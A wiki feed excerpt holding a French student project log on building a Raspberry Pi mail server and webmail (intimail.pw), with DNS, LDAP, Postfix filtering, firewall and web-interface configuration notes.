 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
Rapport de Mi-Projet : http://projets-imasc.plil.net/mediawiki/index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf&amp;diff=24445</id>
		<title>Fichier:P9 LIBAERT TENEUR DEC15.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf&amp;diff=24445"/>
				<updated>2015-12-15T07:26:57Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : Rapport intermédiaire de PFE, Décembre 2015&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Rapport intermédiaire de PFE, Décembre 2015&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=24444</id>
		<title>Projets IMA5 2015/2016</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2015/2016&amp;diff=24444"/>
				<updated>2015-12-15T07:26:16Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Convertisseur DC/DC pour réseau MTDC]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mehmet Ilter &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Philippe DELARUE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P2 Data Logger]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Hidéo VINOT&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P4 Jukebox multi-pièces]]&amp;lt;/td&amp;gt;&lt;br /&gt;
